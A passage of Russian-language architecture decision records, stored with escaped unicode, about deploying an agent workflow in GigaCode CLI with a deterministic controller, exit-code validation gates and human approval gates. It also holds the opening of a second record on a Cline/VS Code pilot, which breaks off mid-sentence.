2026-09-25 (\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435) |\\n| Owner | G-Ivan-A |\\n| Source | [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615), [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b D](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615#issuecomment-5832987604) |\\n| Impacted artifacts | `projects/ba-ai-process/dist/execution-package-gigacode-cli/`; \u0431\u0443\u0434\u0443\u0449\u0438\u0439 runtime `G-Ivan-A/mango-ba-ai-runtime-cli` |\\n| Supersedes | none; \u0443\u0442\u043e\u0447\u043d\u044f\u0435\u0442 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b |\\n| Superseded by | none |\\n\\n## Context\\n\\n\u0426\u0435\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u2014 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a `A-IN \u2192 A-CORE \u2192 A-BCREQ` \u043d\u0430 \u0410\u0420\u041c \u0411\u0410. \u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 [\u043f\u0430\u043a\u0435\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli) \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0433\u0440\u0430\u0444, dispatcher skill, JSON Schema, Python-\u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 Working \u2192 Release. \u0415\u0433\u043e [dispatcher](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/.gigacode/skills/rg-bcreq-v1-dispatcher/SKILL.md) \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0437\u043b\u0430 **\u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0434\u043b\u044f \u0430\u0433\u0435\u043d\u0442\u0430** \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 `python3 tools/validate-package.py` \u043d\u0430 preflight. [README \u043f\u0430\u043a\u0435\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md) \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430. \u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0430\u043c \u0447\u0438\u0442\u0430\u0435\u0442 `routes/rg-bcreq-v1.yaml`, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 Python \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0443\u0437\u0435\u043b \u043f\u043e exit code, \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 \u043d\u0435\u0442. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0442\u0435\u0441\u0442 Python-\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 **\u043f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435**, \u043d\u043e \u043d\u0435 \u0444\u0430\u043a\u0442 \u0435\u0451 \u0432\u044b\u0437\u043e\u0432\u0430 \u0430\u0433\u0435\u043d\u0442\u043e\u043c.\\n\\n\u041f\u043e [\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 GigaCode CLI](https://gitverse.ru/docs/ai/ai-assistant-gigacode/gigacode-cli/skills) \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0435 skills \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432 `.gigacode/skills/`, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 `/skills`, \u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430. [\u041a\u043e\u043c\u0430\u043d\u0434\u044b CLI](https://gitverse.ru/docs/ai/ai-assistant-gigacode/gigacode-cli/commands) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c shell \u0447\u0435\u0440\u0435\u0437 `!` \u0438 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c `/tools` \u0438 `/mcp`. \u042d\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c **\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e** \u0437\u0430\u043f\u0443\u0441\u043a\u0430 Python \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u0430 \u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043d\u043e \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u043e \u0433\u0440\u0430\u0444\u0443. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Q \u0438\u0437 [\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0438\u0430\u043b\u043e\u0433\u0430](https://github.com/user-attachments/files/32652327/-.Q.250926.txt) \u043e \u0442\u043e\u043c, \u0447\u0442\u043e Tool Calling \u0441\u0430\u043c \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0448\u0430\u0433\u0430 \u0432 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u043e\u0434\u0430 \u043f\u0430\u043a\u0435\u0442\u0430.\\n\\n## Decision\\n\\n\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c GigaCode CLI \u043a\u0430\u043a **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e** \u0441\u0440\u0435\u0434\u0443 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c \u0438 \u0431\u0435\u0437 API Mango AI. \u0420\u0430\u0431\u043e\u0447\u0430\u044f \u0441\u0442\u0430\u043d\u0446\u0438\u044f \u0411\u0410 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 GigaCode CLI \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 Python; \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439 Confluence MCP \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e CLI. \u041d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c skill \u0438\u043b\u0438 \u0433\u0440\u0430\u0444 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c, \u043f\u043e\u043a\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0438 \u0433\u0435\u0439\u0442\u0430 \u043d\u0435 \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c CLI.\\n\\n\u0414\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 `execution-package-gigacode-cli` \u0432 Source \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 `tools/run-task` (\u0442\u043e\u0447\u043d\u043e\u0435 \u0438\u043c\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f): \u043e\u043d \u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0439 `TASK_ID` \u0438 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0440\u0435\u0431\u0440\u043e, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 gate \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0410\u0433\u0435\u043d\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430; \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c. Human gates \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u044f\u0432\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0411\u0410 \u0438 \u043d\u0435 \u043e\u0431\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 CLI. `G-mach` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c Python, \u0430 `G-semantic` \u0438 `G-human` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438. Fail-closed \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0435, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438 \u0437\u0430\u043f\u0440\u0435\u0442 Release \u0434\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f Working baseline.\\n\\n\u0414\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**: \u0411\u0410 \u044f\u0432\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `/skills rg-bcreq-v1-dispatcher`, \u0437\u0430\u0442\u0435\u043c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u0435\u0451 exit code; \u044d\u0442\u043e \u043d\u0435 \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d. \u0427\u0442\u0435\u043d\u0438\u0435 Python \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 JSON Schema, \u043d\u0435 \u0434\u0430\u0451\u0442 exit code \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 `G-mach`.\\n\\n\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f: Source \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`, Distribution \u2014 \u0432 `dist/execution-package-gigacode-cli/`, GigaCode runtime \u2014 \u0432 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli). \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c **\u0432\u0435\u0441\u044c** \u043f\u0430\u043a\u0435\u0442, \u0432\u043a\u043b\u044e\u0447\u0430\u044f `.gigacode/skills/`, `AGENTS.md`, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/` \u0438 manifest; `meta-model/` \u0438 `docs/kb/` \u043d\u0430\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438. \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f `.gigacode/settings.json`, \u043a\u043b\u044e\u0447\u0438 \u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e guide \u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c GigaCode CLI \u043f\u043e [\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u0443 quick start](https://gitverse.ru/docs/ai/ai-assistant-gigacode/getting-started-with-gigacode/quick-start), Git \u0438 Python 3 \u0441 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439** \u043f\u0430\u043a\u0435\u0442\u0430; \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `gigacode --version`, `python3 --version` \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u041e\u0421 \u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Python \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0440\u0438 \u043f\u0438\u043b\u043e\u0442\u0435, \u0430 \u043d\u0435 \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c.\\n2. \u041a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c runtime \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0437\u0430\u0434\u0430\u0447\u0438, \u0441\u0432\u0435\u0440\u0438\u0442\u044c manifest \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `sh tools/validate-package.sh`. \u0417\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c `meta-model/` \u0438 `docs/kb/` \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e `.gigacode/settings.json` \u0438\u0437 example \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0434\u0430\u0447\u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0430, \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u0430 \u0438 credentials \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u043e\u0433\u043e Confluence MCP. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c `/mcp` \u0438 `/tools`; \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u043e \u0447\u0442\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\\n4. \u0412\u044b\u0437\u0432\u0430\u0442\u044c `/skills rg-bcreq-v1-dispatcher` \u0441 `TASK-0001`, \u043f\u0440\u043e\u0439\u0442\u0438 `n0` \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0411\u0410. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0443\u0437\u043b\u0435 \u0432\u0438\u0434\u0435\u0442\u044c \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 `G-mach`, exit code, \u043f\u0443\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0438 checkpoint. \u041f\u0440\u0438 reject \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f. \u0414\u043b\u044f `n12` \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 Working, \u0434\u043b\u044f `n13` \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `validate-working`, `compile`, `validate-release` \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c Release \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n\\n## \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u043f\u043e review PR #616 (2026-09-26)\\n\\n\u041e\u0442\u0432\u0435\u0442 \u043d\u0430 [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/616) \u043f\u043e \u0441\u0440\u0435\u0434\u0435 1.\\n\\n1. **\u041a\u0432\u0430\u043b\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430:** \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u2014 **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**. \u0414\u043b\u044f \u043e\u043f\u044b\u0442\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0430 \u0448\u0430\u0433\u043e\u0432 (\u0441\u043c. \u0441\u0445\u0435\u043c\u0443 \u043d\u0438\u0436\u0435); \u0437\u0430\u044f\u0432\u043b\u044f\u0442\u044c \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f.\\n=== docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\n\\n# ADR-019: Cline \u0432 VS Code \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-019 |\\n| Decision type | runtime |\\n| Decision status | proposed; \u0432\u044b\u0431\u043e\u0440 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043f\u0440\u0438 review PR |\\n| Decision date | 2026-09-25 (\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435) |\\n| Owner | G-Ivan-A |\\n| Source | [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615) \u0438 [\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b AI Core](https://github.com/user-attachments/files/32652321/default.txt) |\\n| Impacted artifacts | \u0431\u0443\u0434\u0443\u0449\u0438\u0439 `dist/execution-package-cline-vscode/`, \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime `mango-ba-ai-runtime-cline`; \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0443\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0440\u0435\u0434\u044b 4 |\\n| Supersedes | none; \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) |\\n| Superseded by | none |\\n\\n## Context\\n\\n\u041d\u0443\u0436\u0435\u043d \u043e\u0434\u0438\u043d OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0433\u0435\u043d\u0442 \u0434\u043b\u044f \u0411\u0410 \u043e\u0442 junior \u0434\u043e expert \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e AI Core \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c BCREQ. [\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f AI Core](https://github.com/user-attachments/files/32652321/default.txt) \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 OpenAI-compatible `/chat/completions`, `tool calls`, \u043c\u043e\u0434\u0435\u043b\u044c\u043d\u044b\u0435 ID `gpu-default` \u0438 `gpu-deep`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438 HTTP 